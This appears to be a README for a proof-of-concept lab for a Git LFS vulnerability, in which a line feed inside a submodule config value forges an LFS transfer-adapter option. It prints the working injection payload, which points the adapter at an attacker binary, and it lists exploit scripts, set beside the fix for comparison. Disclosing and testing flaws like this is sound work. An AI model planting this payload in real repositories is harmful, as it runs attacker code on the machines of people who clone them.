
PoC and lab for CVE-2026-105802: Git LFS submodule config LF injection forges options and executes an attacker-chosen transfer binary, with vuln/fixed differential harness.
| CVE | CVE-2026-105802 |
| Component | Git LFS — git/config.go (ParseConfigLines / FileSource / gitConfig), tq/custom.go |
| Affected | 0.6.0 through 3.8.0 |
| Fixed in | 3.8.1 — commit 1b2672aa (GHSA-xrgv-7vx6-5vx6) |
| CWE | CWE-144 (Improper Neutralization of Line Delimiters) |
| Impact | A malicious repository embeds a line feed in a submodule Git configuration value; the newline-split parser turns it into a forged config entry that mimics an LFS option, causing Git LFS to execute an attacker-controlled command/binary while fetching or adding objects |
| Vector | Repository-controlled submodule configuration — cloning/fetching a hostile repo with submodules |
| Trigger | submodule url = "https://example.com/repo\nlfs.customtransfer.pwn.path=/tmp/evil-transfer" |
The vulnerable parser split git config -l output on newlines:
// v3.8.0, git/config.go
entries := strings.Split(config, "\n")
...
fields := strings.SplitN(e, "=", 2)
// and the config was read with: gitConfig("-l", "-f", filename)
The fix reads NUL-separated output and parses entries unambiguously:
// v3.8.1 (commit 1b2672aa)
entries := strings.Split(config, "\x00")
...
fields := strings.SplitN(e, "\n", 2)
// read with: gitConfig("-l", "-z", "-f", filename)
Git config values may contain literal line feeds (a quoted \n escape in
a config file). git config -l prints values verbatim, so an embedded LF
is indistinguishable from an entry separator in its output. The pre-fix
parser split that output on \n and then on =, so the text after the
embedded LF became a new config entry. A malicious submodule definition
such as
[submodule "evil"]
url = "https://example.com/repo\nlfs.customtransfer.pwn.path=/tmp/evil-transfer"
therefore injects the option lfs.customtransfer.pwn.path with an
attacker-chosen value. The tq package registers that value as a custom
transfer adapter executable, which Git LFS runs during object transfer.
The fix switches every config source to git config -l -z (NUL-separated
entries, key\nvalue within each entry), so embedded LFs remain part of
the value and cannot forge entries.
| service | image | role |
|---|---|---|
lfs2-vuln | cve-2026-105802:vuln | Git LFS v3.8.0 |
lfs2-fixed | cve-2026-105802:fixed | Git LFS v3.8.1 (vendor fix) |
poc | cve-2026-105802-poc:local | stdlib-only Python driver |
An in-package Go test binary runs the real pipeline from each tag:
git config --includes -l [-z] -f <crafted file> → the real
ParseConfigLines / ParseConfigEntries → the real tq
manifest/adapter setup. Both sides differ only in the Git LFS version.
./run-lab.sh build # builds both tags with Go 1.25
./run-lab.sh up # cve105802lab network: lfs2-vuln / lfs2-fixed
./run-lab.sh sweep
./run-lab.sh down
poc/poc.py (stdlib only):
lfs.url) plus a benign
submodule control.1b2672aa.A standalone full-chain exploit ships at exploit/exploit.py:
python3 exploit/exploit.py --host=lfs2-vuln
# exit 1 on confirmed forgery/adapter registration, 0 on a safe target
| observation | lfs2-vuln (3.8.0) | lfs2-fixed (3.8.1) |
|---|---|---|
| parsed keys | lfs.customtransfer.pwn.path, submodule.evil.url | submodule.evil.url only |
| transfer adapter | pwn → /tmp/evil-transfer | none |
lfs.url injection variant | forged lfs.url entry | stays inside value |
| benign submodule | unchanged | unchanged |
Captured runs: evidence/check-*-run.txt, evidence/exploit-*-run.txt,
evidence/probe-*-run.txt, evidence/mitigation-*-run.txt,
evidence/exploit-standalone-run.txt, evidence/exploit-standalone-fixed-run.txt,
evidence/versions.txt, evidence/0day-sweep.txt.
cve105802lab
network; git present in the lab runtime (the pipeline execs it).The fixed line parses NUL-separated entries; embedded LFs in submodule
values (transfer-path injection, lfs.url injection) stay inside the
value and forge no config entry. Benign submodule config is unchanged.
README.md this write-up
run-lab.sh environment driver (build / up / sweep / down)
Makefile convenience targets
poc/poc.py the PoC (check / exploit / probe / mitigation)
exploit/exploit.py standalone full-chain exploit
lab/lab.Dockerfile builds both upstream tags
lab/harness/ in-package Go harness (tq), per-tag parsing API
lab/service.py HTTP wrapper (POST /parse)
evidence/ captured runs of every mode on both sides
TRACKING.md excluded (working record)